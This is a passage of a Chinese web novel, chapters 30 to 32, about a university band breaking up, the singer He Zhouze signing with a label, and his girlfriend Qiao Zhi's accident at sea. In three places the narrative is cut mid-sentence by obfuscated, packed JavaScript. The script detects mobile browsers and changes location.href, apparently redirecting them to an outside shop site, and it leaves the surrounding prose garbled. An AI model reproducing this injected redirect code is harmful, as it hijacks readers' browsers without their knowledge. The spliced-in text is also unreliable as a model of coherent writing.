姚朔其实长得不赖。他的身形高大,常年留着寸头,额头有个小时候撞碎玻璃后留下的疤,整个人有股劲儿,在人群中也算是打眼的存在。但奈何乐队另外两个男生长相太过犯规,显得他平平无奇。 姚朔反驳道:“怎么也是幽默猛男吧!” 两人三言两语地拌嘴,几乎要把话题带偏了。 这个意外事件起初除了给几人带来了一些校外的关注外,似乎没什么其他影响。毕竟只是在同城圈子里流传了一阵子,看到的也大多是同龄人。 不过随着乐队的原创越来越多,最后几人商量后一起开了一个团体账号。除此以外,何舟泽和颜叙还各自有一个私人号,时不时会发一些自己的独立创作。 何舟泽的热度肉眼可见的越来越高。从前校园论坛上关于他的讨论大多围绕着外貌,现在有更多人开始关注他写的歌。 他个人账号的粉丝慢慢积累了六位数,比乐队账号的粉丝还要多,堪比一些小网红。 乔之的科研项目也逐渐步入正轨,吴教授开始放手让她做更多尝试。 不过乔之与何舟泽的关系并没有什么改变,两人依旧每天一起吃晚饭,一起在校园里散步。有时乔之去看他的演出,也有时候他在海洋楼下等乔之做完实验。 他们的生活似乎都在变好。 这天傍晚,两人照例在饭后散步。 认识何舟泽的人越来越多,所以现在他们会往更僻静的地方走。 何舟泽正和乔之分享自己的新灵感,一个电话打断了两人的对话。 “妈。”何舟泽接起电话,脸色在几秒之后变得煞白。 他稍稍走远了一些,乔之听不清他们的对话,但是能看出何舟泽身上有什么东西几近被掐灭。 等人回来后,她关心了一句:“怎么了?” 何舟泽苦笑道:“乔乔,我爸妈发现了。” 话只说了半句,但乔之立刻就意识到发生了什么。她知道何舟泽的父母一直都不支持他玩音乐、当歌手。 何舟泽每次放假回家后连写歌都得藏着掖着,组乐队、参加演出更是全都瞒着他们。 乔之提了个猜想:“……是你的账号被他们发现了吗?” 何舟泽点点头,叹了口气:“我以为他们不会注意到网上这些东西。” 说来也是巧合。 这天中午,何父何母和朋友吃饭,对方家里有个正在读高中的女儿也跟着过来了。 小姑娘席间玩了会儿手机,不想却突然刷到了乐队的演出视频。 她不知内情,只奇怪地问了句:“咦?这不是阿泽哥哥吗?” 视频里的男生抱着麦克风在舞台尽兴歌唱,那张脸,赫然就是何舟泽。 更要命的是,那是个主题音乐节,所有人都画了很夸张的妆容,奇装异服。何家保守,当下就受到了极大的冲击。 再往下一翻,乐队已经成立大半年,何舟泽个人账号都累计了十几万粉丝。 多年老友看见平素看着乖巧听话的何舟泽在舞台上玩得疯,一下也乐呵了:“阿泽的大学生活还挺丰富。” 何父何母忍着没说话,等饭局结束,立刻就打了个电话质问。 “知道的当你是读大学,不知道的还以为你在什么夜店玩。”何母的声音异常冰冷。 何舟泽辩解道:“那天是主题音乐节,我们平时不是这样的。” “呵。平时?”何母冷笑了一声,“乐队组了大半年,你倒是瞒得挺好的啊。” 最后她下了通牒:“这周末你必须回家给我和你爸一个交代。” 何舟泽几乎不用猜就知道,等他回了家,父母只会勒令他立马退出乐队,并发誓不再玩音乐——就像当初他放弃艺考那样。 乔之捏了捏他的手,想要安慰他。 她问:“那你接下来打算怎么办?真的退出乐队吗?” “怎么可能?”何舟泽转过身,将乔之搂进怀里。他低下头,埋在乔之的肩上,闷声道,“我打算把账号注销了,以后不在网上发东西了。这样他们应该就发现不了了……” 乔之推开他,正视着他的眼睛:“你觉得可行吗?” 男生不言语,只是将目光转到了别处。他刚刚说的话,连自己都没有底气。 乔之抓紧了何舟泽的胳膊,认真地说:“何舟泽,你应该和你爸妈说清楚。” 何舟泽有个早逝的叔叔,在音乐上的才华无出其右。何舟泽没见过他,但听说家里为了支持他的音乐梦,一家子都被折磨得鸡飞狗跳,但仍没有闯出什么成绩。 最终,年轻的音乐才子在某个冬夜跳江自杀了。 自那以后,他父母始终觉得音乐不是正途,至少不是一般人该走的路。更遑论他们本来就传统,觉得男孩子应该做一些看上去更加宏大稳定的事业。 乔之继续说着:“你不是想自娱自乐,对吗?你想用音乐传递力量。” 何舟泽的声音没了底气:“乔乔,他们不会理解的。” 乔之摇头:“你至少要试一试。何舟泽,你天生就该站在更大的舞台上,而不是将才华圈禁在无人知晓的角落里。” 女生的神情严肃,眼底带着她一贯的坚定。 乔之就是这样的人——即便磨破脚也要走完队列,即便被否定也要走自己想走的路。 何舟泽看着她,久久没有言语。 最后他终于抱紧了她,下定决心:“好,我答应你。” 这个周末似乎发生了很多事情。 首先是何舟泽第一次与父母开诚布公。 周六上午,他搭了班最早的高铁回家。 何父何母早就坐在客厅里等他。但未等他们发作,何舟泽率先在他们面前认了错。 “爸、妈,我瞒着你们组乐队,对不起。”何舟泽低着头,不敢抬头看他们。 何父何母见他态度端正,刚缓和了脸色,却又听到他说:“可是我不想放弃音乐梦想。” 何父向来冷静,这会儿也气得发抖:“音乐梦想?你知道有多少比你有才华的人,都郁郁不得志吗?” 他的声音激厉,字字锥心。 何父许是气极了,话音刚落便按着额头跌回了座位。 何母抚了抚他的后背,眉头也是紧锁。 “爸、妈,你们爱我吗?”何舟泽低声反问了一句。 何母冷笑了一声:“什么意思?我们不爱你的话,会管你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445169|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走什么路吗?” 何舟泽紧了紧垂在身侧的拳头,一字一句认真道:“我知道,你们想说我有个很有才华的叔叔,被音乐折磨了一辈子。可是,我想他一定没有后悔走这条路,而爷爷一定也没有后悔支持他。因为过去这个家中,爷爷是唯一支持我的人,就像他当年支持叔叔的音乐梦一样。” 父母的面色铁青,他却还是要继续说下去:“高三的时候,我听你们的话,没有选择艺考,他很失望。因为他知道我是那么热爱音乐,却没有勇敢追求。” “我一直努力写歌、练琴,却始终后悔当初让他失望。可是这一次,我不想再后悔了。无论你们是什么态度,我都不会再放弃音乐了。对不起,希望你们理解。” 他抬起头,正视着坐在沙发上的父母。 空气如拉紧的弦,紧绷得一触即发。四下静得连窗外微弱的风声都清晰可闻。 几天前,有人往何父秘书的邮箱里发了个压缩包,里边是何舟泽这半年多以来的所有表演视频。来信人恳请他们看完这些音乐视频,言辞诚挚。 事实上,没有人比他们更清楚,他们这个自小乖巧温和的儿子,在唱歌时有多么的锋芒毕露。 少年人所有的野心和朝气都写在了音乐里,但他们唯恐这只是一时兴起。 何父坐在沙发上,按着额角的姿势保持了许久。 终于,他叹了口气:“你回去吧。我们不管你了。” 等何舟泽带着好消息回江临时,乐队的氛围却悄悄发生了一些改变。 周六那天晚上,乔之在图书馆自习到了闭馆时间。 路过小剧场时,她想起来上次落了本实验手册在活动室。周一下午就要交那份报告,正好上回何舟泽给她也配了把钥匙,她的步子转了个方向就上了楼。 不想活动室的灯还亮着,里面似乎还有人。 乔之没直接用钥匙开锁,抬手敲了几声,没多久就人来开门。 是夏安语。 她的眼睛氤氲着雾气,脸颊也有些泛红,身上沾了点淡淡的烟味。 乔之怔了怔,轻声问了句:“怎么了?” 夏安语眼中闪过一丝慌神,随后又马上摇头道:“没什么。我刚刚跟着颜叙第一次抽烟,被呛到了。” 乔之没问她为什么抽烟,也没有劝她少抽一点。有些人把香烟当作排解情绪的方式,就像乔之也有自己的方法回避现实。 她只拍了拍夏安语,说道:“我来拿实验手册。” 等女生侧过身,乔之才看见颜叙也坐在他惯常霸占的角落里。 他今天的穿衣风格和平时大相径庭。 颜叙酷爱街头风,平时耳上手上都是些昂贵又夸张的首饰,这会儿却都取了下来。他今天穿着一件矜贵的黑色风衣,微长的头发也打理得一丝不苟,倒是有副斯文败类的模样。 “你们还不走吗?”乔之在满桌的草稿纸中找到自己的东西,顺口问了句。 夏安语听见这话,也腾地收起自己的包,拉着她往外走:“我……我也走了。乔乔,我和你一起。” 临走前,乔之看见颜叙的嘴角暗含着一点笑意,他似笑非笑地挥了挥手,当作道别。 后面连着几周的复变课,乔之终于从乍然变换的座位中看出一些端倪。 他们四人喜欢坐在教室左侧,通常是她与何舟泽坐靠过道的两个位置,夏安语与颜叙靠窗。 然而这几周,夏安语都主动选了最外边的位子。虽然她嘴上说着“过道这边离黑板近,想好好听课”,但乔之还是能瞧出她上课时的心不在焉。 夏安语和颜叙之间,似乎弥漫着一种诡异的暧昧。 乔之私下偷偷问何舟泽两人的情况,何舟泽只是叹了口气说:“有点复杂,别管他们了。” 乔之不是一个八卦的人,之后便也不再多问。 时间照常流走,他们的生活仍在继续。 “同味素”的演出越来越成功,乔之的实验也取得了很大的进展。五个人还是时常一起吃饭、聊天,彼此的关系日益亲密,所有人都相安无事。 直到大三上学期的跨年夜,夏安语谈恋爱了。 30.第三十章·大学line 这一年的跨年演出是“同味素”二度登台。 时隔一年,乐队的表演风格更加出彩成熟,而台下观众更为热烈的反应也证明他们与日俱增的人气。 乔之在后台等他们演出结束,几人约好过会儿一起去江边看烟花。 新年晚会的后台人来人往,好几组表演者挤在一个房间里化妆、休整。乔之寻了个角落,帮忙照看乐队的个人财物。 一个戴细框眼镜的男生抱着一束鲜花走进休息间,他四处张望了一圈,发现了坐在角落里的乔之。 男生腼腆地开口问:“同学你好,你是夏安语的朋友吗?” 他碰见过几次她和乐队一起吃饭,心里猜测是相熟的朋友。 乔之见男生的神情有些局促,但看上去并无恶意,于是便点了点头。 男生像是松了口气,又问:“他们演出结束还会回这个房间吗?” 说完又立马补充了一句:“我和小夏提前打过招呼了,但她忘记跟我说具体的房间,所以我只能一间间来找。” 乔之没来得及回应,就看见何舟泽抱着吉他走进了房间,姚朔和夏安语紧随其后。 他们显然也听见了刚刚这个男生说话。 夏安语看起来很惊讶:“学长?你怎么来了?” 乔之这才想起来,何舟泽之前和她悄悄说过:有一个医学院的学长一直在追夏安语,两人这段时间还常常约着一起爬山。 看来就是眼前这一位。 男生马上转过身去,支吾了半天:“你能和我出去一下吗?我有话和你说。” 这话一出,在场所有人都猜到了是怎么回事。 姚朔在一边顶了顶何舟泽的胳膊,一脸看好戏的表情。 夏安语点点头,没多说什么。 两人前脚刚走,姚朔立马收不住表情,兴奋地摇着何舟泽的手臂:“这肯定是表白吧!对吧对吧?” 有人当面表白并不稀奇,但夏安语竟然也跟着出去了,他从这其中嗅出了一点不同寻常的味道。 何舟泽甩开他,弯腰拿起乔之身侧放着的的外套披上。 他淡然道:“表白的场面你还看得少吗?” 姚朔早就拿起手机,飞速地打着字:“可是我感觉这次真的有戏!我得赶紧叫颜叙回来看热闹,这么精彩的场面他竟然不在!也不知道是要去拿什么东西,这么久不回……” 乔之和何舟泽对视一眼,心想不妙,原来姚朔还不知道那两人的事情。 何舟泽转身将姚朔的手机抽过来:“你别添乱了。” 几人在休息室等了好一会儿,终于收到夏安语发来的消息。 “小夏说他们在过道那边等我们,我们走吧。”何舟泽起身,拉住乔之的手。 姚朔像是捕捉到了什么关键词,压着兴奋道:“‘他们’?不会真成了吧?” 何舟泽懒得搭理他,牵着乔之就往外走。 夏安语果然还和那个学长在一起,只不过那束花这会儿到了她的手中。 颜叙竟然也在两人身边,手中有一束更娇艳的鲜花。 花束精巧雅致,五六种相似色系的鲜花搭配协调,其中铃兰和葡萄风信子格外突出。 姚朔眼睛一亮,走过去,搭着他的肩膀,指指他手里的花束,了然道:“我说你怎么去了这么久,原来也是去收花了。” 他低头凑近了端详,评价道:“这束花搭配得有水平。这季节还能买到铃兰,够有钞能力呀!” 铃兰的花期短,存活率很低。颜叙手中这一束,花苞个个圆润饱满,一看便知是进口的品种。 不想颜叙直接将花丢进他的怀中,语气异常冰冷:“送你了。” 丢花的架势就仿佛这是捧杂草。 夏安语主动抬起她和学长紧握的双手示意道:“这位是我刚交的男朋友,薛正阳。待会儿能带他一起去看烟花吗?” 薛正阳的喜悦都写在了脸上,他诚恳道:“我不会给你们添麻烦的!” 何舟泽耸耸肩表示无所谓,乔之和姚朔则更不可能说些什么了。 所有人都转头看向颜叙,等着他发话。 乔之这才发现颜叙一直盯着那两人的手看,他的眼眶有些发红,掩藏在舞台妆之下,却还是能看出不自然。 沉默了几秒,他扯出一个笑:“我能有什么意见。” 那一年的烟花是什么样的,乔之已经记不太清了。她只记得那一个新年并没有得到所有人的期待,几人之间的气氛有种山雨欲来风满楼的微妙。 没过多久,颜叙竟然也交了女朋友。但短短几周,乔之就发现他身边已经换了人。 到了大三下学期,乔之和乐队其他人见面不多。夏安语忙着恋爱,而颜叙家中出事,连演出都只能勉强应付,只有姚朔偶尔会跟着她和何舟泽一起吃饭。 离别比她想象中更早到来。 夏天刚刚开始的时候,乐队开始准备这一年毕业音乐会的演出。 选曲那天,颜叙照旧迟到了。他又打了两个新耳钉,刘海已经长得快遮住眼睛。 何舟泽想尝试新的曲风,但姚朔和夏安语都认为目前的时间精力很难做全新的尝试。 末了,何舟泽转头问始终一言不发的颜叙:“你觉得哪个方案好?” 颜叙斜靠在墙边,懒洋洋地抬起眼:“我无所谓。反正这是我最后一次演出了。” 这话如同忽然坠落的陨石,大家一时半会儿都没反应过来。 姚朔重复了一遍他的话,以为他在开玩笑:“最后一次?什么意思?你小子想跑路?” 他勾着颜叙的脖子,调侃的语气同往日一般。 何舟泽和夏安语转过弯来,都看出了颜叙的表情不似作伪,正想开口问清楚,却看见颜叙冷冷地撇开姚朔的手:“字面意思。” 他的语气没什么温度,神情冷傲,似乎又回到了几人初识那一天。 他说:“下学期我就出国了,转学手续已经办好。” 姚朔在一旁呆住好几秒,他不敢置信地盯着他问:“什么时候做的决定?为什么不跟我们说?” 颜叙的目光缓缓扫过众人的脸,最后却盯着夏安语看。 他冷笑了一声:“反正我本来就是被骗进来的。说实话,我早就腻了。” 何舟泽瞧出他的不对劲,关心道:“你怎么了?” 姚朔却没他这么冷静,已经揪起颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何舟泽很少有这样的时刻,他的脸上总是带着笑,无论遇到什么事似乎都自信无畏。但是现在,他看起来很受伤。 乔之走过去,轻轻抱住了他。 过了许久,她听见何舟泽低哑的声音道:“乔乔,乐队可能要散了。” 后来乔之才知道,颜叙马上就要转学出国,下午在活动室说了很伤人的话刺激到了姚朔。两人打了一架,何舟泽的嘴角是在拉架过程中被误伤的。 姚朔是个很重感情的人,经历了这样的事情后,似乎快对乐队失去了信心。 一个月后,“同味素”完成了最后一场合体演出。 六月末,乔之和其他人一起送颜叙出国。 姚朔最终还是原谅了颜叙。 在机场,他抱着颜叙痛哭:“去那边也要常联系,不然你就是狗。” 乔之不是一个感情外露的人,但也忍不住有些鼻酸。 颜叙乘着初夏的微风离开了江临。 那天,夏安语没有来。 31.第三十一章·大学line 几个月后,剩下四人都升入了大四。 颜叙走后,乐队的鼓手席位再次空缺。 音乐社每年都招收很多新生,会打架子鼓的人不在少数。他们迫不得已时也会拜托别的鼓手临时来帮忙,但没了颜叙的演出,似乎总缺了点什么。 乔之准备出国读博,一进入新学期就是匆忙的申请季,出国要准备的材料比她想象中还要复杂,因此她只能偶尔抽空去看他们的表演。 十月中旬,何舟泽的音乐事业迎来了一个新的转折。 他在网上已经有小百万的粉丝量,还有两首歌小火了一把。国庆期间,一家很有名气的音乐公司主动联系了他,想签约他为旗下艺人。 ——但是只看中了他一个人。 乐队是何舟泽音乐之路的起点,他从来没有想过单飞,但对方没有松口的意思,因此他陷入了巨大的迷茫。 自颜叙出国后,乐队爆发了第二次激烈的争吵。这次的主角是何舟泽,而乔之又撞上了现场。 在场的几位都快绷不住情绪,话题中心人物难抑受伤的心绪。 乔之太熟悉何舟泽,三言两语她便能听出他的情绪不对,如果任由他们争执下去,情况会变得更糟。 她不想何舟泽陷入这样的境地,所以她推开了活动室的门。 “……乔乔。” 她的到来仿佛这一篇章的休止符,活动室里的争执戛然而止。何舟泽看过来的眼神心碎受伤,乔之的心狠狠地揪住了。 她假意不知情:“大家还不去吃饭吗?” 姚朔的眼睛都红了,他转过头抬手擦了擦眼角,随即又从桌上拿出了一盒蛋糕,佯装无事发生地说:“我爸爸这周末又做了蛋糕。你上次说喜欢巧克力味儿的,我给你留了一份。” “谢谢叔叔还记得。”乔之接过透明的盒子,精巧的小蛋糕静静躺在盒中。她抬眼笑说,“待会儿要一起吃饭吗?” 夏安语帮忙将何舟泽推出了活动室,也在强颜欢笑:“不用,你俩先去吧。我和老姚还有事。” 江临已经渐渐入秋,路旁的行道树偶有落叶飘下。 去食堂的路上,何舟泽难得沉默着不说话,过了许久才开口道:“乔乔,我不知道怎样才是正确的选择。” 掐头去尾,但乔之全都明白。 她牵住何舟泽的手,认真道:“何舟泽,有的路可能需要自己走。” 对她来说,如果能做自己想做的事,任何微渺的希望她都不会错过,所以她告诉何舟泽前行注定孤独。 不过她未曾料到,到最后,这一条路上真的就只剩下他一人。 何舟泽最终还是签了公司。 那家音乐公司许诺了不少资源和培养计划,于是签约后的第一个月,何舟泽就上了一档热门音综。 这是江临电视台新推出的一档音乐创作节目,名叫《新声》。众多老牌原创歌手都受邀参加了这档节目,连着几期都有爆款歌曲。 何舟泽初出茅庐,还不到同台竞技的资格,但被安排给一位娱乐圈大前辈做帮唱嘉宾。 何舟泽外形出挑、性格讨喜,演唱虽然稚嫩但颇具个人特色。节目一经播出,他就受到了极大的关注。 “乔乔,你今晚一定要看我的节目!”何舟泽在电话里的声音雀跃不已。 乔之在搜索引擎中敲入节目的名字,已经能够看见新一期的预告。 节目标题写着“最强新人来袭,闻行终舞台炸翻全场”,封面赫然就是那位叫闻行的大明星和何舟泽的舞台剪影。 闻行是近十年风头最劲的男明星,音乐和电影双栖发展,金曲和影帝都被其收入囊中。何舟泽能被安排给他当帮唱嘉宾,公司显然出了很多力。 “你什么时候回江临?”乔之问。 何舟泽抱歉道:“本来准备明天就回学校的,但闻老师说可以给我介绍一个很厉害的老师,我过几天想去见一面。” 初入娱乐圈的何舟泽,有漂亮的出场秀,有公司的强力支持,还有前辈的悉心引路,一切都顺利得恍若童话。就像他过往一帆风顺的人生,他是被偏爱的天之骄子。 节目播出后,校园论坛上关于何舟泽的帖子成倍增长,“同味素”过往的校园演出视频也被不断扒出。不断有人开始琢磨着通过乔之来打听何舟泽的事。 他们俩的恋情在江大从来就不是秘密,但现在有了更多的议论声。 【何舟泽回学校了吗?】 【没有吧。我看他女朋友最近还是一个人在吃饭。】 【何舟泽女朋友是哪位啊?有照片吗?】 【海院大四的,平时很低调,只在他们学院官微上找到过一张很模糊的合照[图片]。第一排右起第三个。】 或探究或恶意的关注渗入乔之的生活。 跨年晚会前一个星期,夏安语和姚朔都忙得双脚不沾地,只好拜托乔之帮乐队去校学生会报备节目。 过去她也常常帮忙写活动的申请书,这一套流程早已熟门熟路。 她加过校学生会文艺部负责人的微信,对方让她直接送到办公室,那边会有人对接。 校学生会的办公室在学生活动中心,绝大多数社团组织的办公室都在这栋楼。乔之一进门,就能感受到周围若有若无的打量。 这段时间,类似目光并不少见。 办公室在四楼,乔之上了电梯,里边已经有两个女生。她们本还在聊天,见她走进来,一时噤声,假装不经意地把目光投到她身上。 直到离开电梯,乔之才听见身后隐约传来交谈声。 “刚刚那个是不是何舟泽女朋友?” “有点像。” “感觉也没那么漂亮吧……” “何舟泽女朋友”这是她这几个月来最常听见的她的代名词。没有人关心她叫什么,因为她有一个更具话题性的身份。 下一秒,她推开校学生会文艺部的办公室门。里边坐着一个值班的学弟,见来人,从书案中抬起头。 乔之颔首道:“您好,我来交跨年晚会的节目申请表。” 学弟伸手接过那张申请表,瞧见演出人一栏写着“‘同味素’乐队:何舟泽、夏安语、姚朔”几个字,又抬头悄悄打量了乔之一眼,半晌才反应过来:“哦!你是何舟泽的女朋友对吧?这个表放这儿就行,邱学姐之前跟我说过了。” 又是——何舟泽的女朋友。 “谢谢。”乔之深吸了一口气,想补充一句“我叫乔之”,却终是没有开口。这么说似乎显得她太上纲上线,对方本也没有结识她的意思。 等她走出学生活动中心,何舟泽正好打了个电话过来:“乔乔,我的行程变动,明天就回江临了!” 乔之闷闷地回了句:“嗯。” 何舟泽听出她的心情不太好,关心道:“怎么了?心情不好吗?我很快就回来陪你了。” 严冬时节,寒风凛冽。 乔之揉了揉自己被冻红的鼻子,说道:“没什么。” 何舟泽近来也很忙,公司给他安排了不少课程和活动,他的时间得掰成两分用。乔之偶尔能从视频里看见他的疲态,尽管何舟泽在她面前从来都笑意盈盈,仿佛没什么能把他难倒。 “听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473211|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他们又让你去交表了。” 乔之“嗯”了声,继而盯着自己的脚尖看了一会儿。她想了想,忽然说道:“不过应该是最后一次了。” 虽然乔之一向都是这副淡淡的语气,但何舟泽还是听出了一丝不对味。 他以为是乔之还在为申博的事情烦心,于是安慰道:“辛苦乔乔!他们俩太过分了,下次让老姚去跑表。” 两人没说多久,何舟泽又被人叫走了。 这段时间他们之间的对话通常都如此,只有几句。彼此变成了各自生活中的一瞬,在时间之河中飘摇。 隔天中午,何舟泽回了学校,这个消息没多久就登上了校园论坛十大热贴。 他这次回来是为了几天后的跨年晚会,乐队已经很久没有聚在一起练习,时间很紧张。 而乔之这几天正好有个项目临近截止日期,她窝在宿舍里写最后一篇文书。 两人没着急见面,只约好一起吃晚饭。 乔之最后剩下的这篇文书,要求阐述自己求学生涯中的挑战和困难,以及这些独特经历如何塑造了她。她想了好几天,都没什么头绪,又不愿意套个差不离的模板应付了事。 等她从电脑桌前抬起头,天色渐暗,已经快要六点。 何舟泽在半个多小时前就发来了消息:【我们快结束了,你那边怎么样?】 再磨下去也找不到思路,乔之赶紧起身去小剧场。 活动室的门一如既往地破烂,门锁依旧对不齐。乔之无意偷听,但却还是在这个地方撞见过许多事。 而这一次,她听到了和她有关的对话。 姚朔长长地“啊”了一声,似乎是在打抱不平:“你经纪人怎么这样?你不是说过只想当原创歌手吗,怎么还给你安排舞蹈课?” 何舟泽叹了口气:“现在参加选秀热度高,她大概是想从流量市场上分一杯羹吧。” 这些年唱跳爱豆的热度的确居高不下,去参加一个大热选秀节目就能收割不少粉丝。但是何舟泽对跳舞没有丝毫兴趣,也早就过了打基础的年纪,可他的经纪人却十分眼红这条看起来光鲜亮丽的捷径。 姚朔忽然压低了声音:“怪不得你上次跟我说,他们想让你和乔之分手,原来是想把你培养成爱豆。” 乔之怔了怔,推门的动作一时间停了下来。 ——何舟泽从来没跟她说过这件事。 门那头,姚朔继续问道:“你怎么想的啊?” 许久,乔之都没有听到何舟泽的回答。 她的心沉了沉,下一秒却又坦然接受了。 几个月前她一语成谶,何舟泽的这条路,或许注定就得是他孤身一人——同样也该排除她。 而她早就该在许多年前明白,没有谁的爱毫无理由、毫不保留、永远可靠。 她抬脚转身,发去了一条微信:【今天先不一起吃饭了,我的文书还没写完,可能有点来不及。】 回到宿舍,乔之再次打开了那一份文档。 “从幼年起,我常常因为家庭原因受到各种各样的质疑和非议。没人相信,我能够在那样环境中成才……高中时,我的老师曾经劝我、劝我们女孩子:读理工科是男生的专长,女生后期容易跟不上……后来我执意选了理科,大学仍坚持报考了海洋科学……作为一名女性,我想在这个领域成为可以被叫得出名字的科学家;我想成为无数在求学道路上饱受质疑和否定的女生们的榜样,让她们看到自己不被埋没在他人光辉下的可能性……” 手边,何舟泽发来一条微信。 只有一个字,他说:【好。】 32.第三十二章·大学line 那天的事,仿佛只是一个小插曲。 何舟泽没有和乔之透露过半分,但他的行程肉眼可见得繁忙起来。整个寒假,他们都没有见面。 大四下学期开学后一个月,课题组组织了一次野外实验,需要采集近海的水样和浮游生物标本。 乔之早就完成了全部的课程修读,申请的事情也已告一段落,如今唯一需要做的就是等待录取结果和完成毕业论文。因此,组里外出采样也一并叫上了她。 采样的地点在邻市附近的海域。 乔之是第一次出野外,所以组里把采集表面海水的任务交给了她。 这一项工作并不是这一次外出的重点,操作很简单,只需要将玻璃采水器投入水中,控制好深度的情况下取到海水拉回即可。但因为采样的海域常年受天气影响,即便是近海,风浪也并不小。 翻动的海浪会影响采集效果和回收难度,所以乔之适应了整整一天才逐渐上手。 野外工作持续了三天,一切都进行得非常顺利。 直到最后一天,意外发生了。 那一天是阴天,海上有风,扑腾的浪花给所有组别的采集工作都增加了难度。 乔之在船尾的甲板上准备采集最后一组水样,却不知怎么地打了个趔趄,手中的绳索险些脱手。采集器灌满了海水后渐渐沉入了海中,并随着波浪飘远了。乔之急忙抓紧了回收绳,但一股巨大的拉力扯着她的手,让她一时用不上劲。 忽然间,别处一艘小渔船往这个方向挤来,他们所在的这艘船为了避让,急地转了个弯,连带着船上的人也跟着晃荡。 乔之只感觉自己一时踩空,下一秒就被带入了冰冷的海水中。 初春的海水依旧是刺骨得凉,冻得她全身不得动弹。乔之猛地灌入了一大口海水,视野被海浪打得破碎。 隐约间,她听见有人在喊她的名字…… - 等乔之睁眼醒来时,首先入目的是雪白的天花板,空气里弥漫着医院特有的消毒水气味。 想到昏迷之前几乎入肺的咸涩海水,她下意识地咳了两声,惊动了身边的人。 “师妹,你醒了!”陪在一侧的是实验室的师姐,她惊喜地起身按了按床头的呼叫铃,“我叫一下医生。” 乔之的喉咙干涩得发疼,她哑着嗓子问:“我躺了多久?” 师姐倒了杯水,扶她坐起来:“差不多半天。” 乔之转头看了看窗外,天空已是墨色。 师姐打开手机,像是给谁发了个消息:“他们刚出去吃晚饭,我现在马上跟吴老师说一声。” 说完她又小心地补充了一句:“你外婆下午的时候也知道你落水住院了,不过她老人家腿脚不便,可能一时赶不过来……” 他们现在还在邻市,让外婆一个年逾七十的老人从江临赶过来,着实是有些为难。 这时医生也走进了病房,他检查了几项身体指标,嘱咐道:“目前看,身体没什么大问题了。今天留院观察一晚,有什么问题及时呼叫。没有特殊情况的话,多休养几天就可以了。” 乔之点点头应下。 接着医生叮嘱了一些注意事项后便走了。 师姐庆幸道:“你吓死我们了,还好没出什么事。你放心,今晚我可以留下来陪护。” 乔之颔首道谢。 师姐忽然想起了什么,从抽屉里翻出乔之的手机,递给她道:“你给家人报个平安吧,免得他们今晚担心。” 乔之接过手机后,师姐贴心地找了借口出门避嫌。 乔之给外婆打了个电话,老太太虽然嘴上没说,但乔之听出了她语气里的担心。 “我没什么事,就是呛了几口水……当时穿着救生衣呢……”她避重就轻地安慰了几句,安抚了好一会儿。 快挂的时候,外婆说了句:“你给你妈也打个电话吧,我刚和她说了这件事,她也很担心。” 乔之垂眸,沉默了片刻,应了声:“好。” 她和乔希通常只有逢年过节会寒暄几句。尽管对方这几年似乎迟来地觉醒了母爱,但母女之间毕竟分隔多年,彼此依旧生分。 乔之有时也能理解,毕竟乔希早就有自己的生活,而她只是她多年前一个错误的注脚。 她们之间有太多谈不拢的话题,所以乔之情愿不要联系。 乔之盯着自动熄屏的手机,想了想,还是没有拨打电话。 她在微信上简单发了一句:【我醒了,医生说没什么问题。】 对面回得很快:【那就好。你那边需要人吗?我刚刚还和你姜叔商量着开车过去照顾你。】 乔希自己都一塌糊涂,乔之丝毫不指望她能照顾人。到时候就算来,大概也是她的继父姜永望忙前忙后——那她更不愿意麻烦他这个非亲非故的外人。 于是她回了句:【不用麻烦了。今晚有师姐陪我,这么晚开车也不方便。】 对面过了好久才回了句“好”。 乔之也不知道这究竟算不算得到了母亲的关心,对方虽然主动说要来,却还要问过她的许可。两人明明血浓于水的关系,却比一般朋友还要生疏许多。 退出聊天界面,乔之看到置顶的对话框,对方换了一个新头像。 乔之点进去,本想和何舟泽提一句今天发生的意外,可是转念一想,他现在还在京市录节目。 她知道何舟泽最近事业刚刚有了一些起色,仍在和经纪人博弈是否要参加选秀节目,一言一行都如履薄冰。 以何舟泽的性格,或许他会不管不顾地抛下一切来找她,也或许不会,但无论如何,这件事都会徒增他在录制期间的压力。 乔之不希望他因为自己影响事业发展。 这几个月来,她已逐渐清晰,很多时候他们都无法共享彼此的生活,总有些时刻需要孤身一人。 她删掉打好的文字,关上了手机。 隔天,乔之感觉身体已无大碍,便办理了出院,课题组也正好准备启程返回江临。 这次的意外让大家心惊肉跳,吴教授坚持让乔之再回校医院观察几天,于是乔之又在校医院住了三天。 出院那天,师姐主动要求帮乔之收拾行李。乔之聪明能干,她一直很喜欢这个小师妹。 师姐照例拐进校医院的大门,这个点来看病的人不多,她一眼就看见了一个在大厅取报告的男生。 对方身形颀长,虽然戴着口罩,但出众的气质还是让她认出了这是乔之那位明星男友——何舟泽。 他们之前在实验室碰见过几次,师姐跟上去问了句:“你也来接乔之出院吗?” 何舟泽提前一天回了江临,今早被通知来校医院取毕业生体检表。他特意选了个人少的时间点,却不想还是被人认了出来。 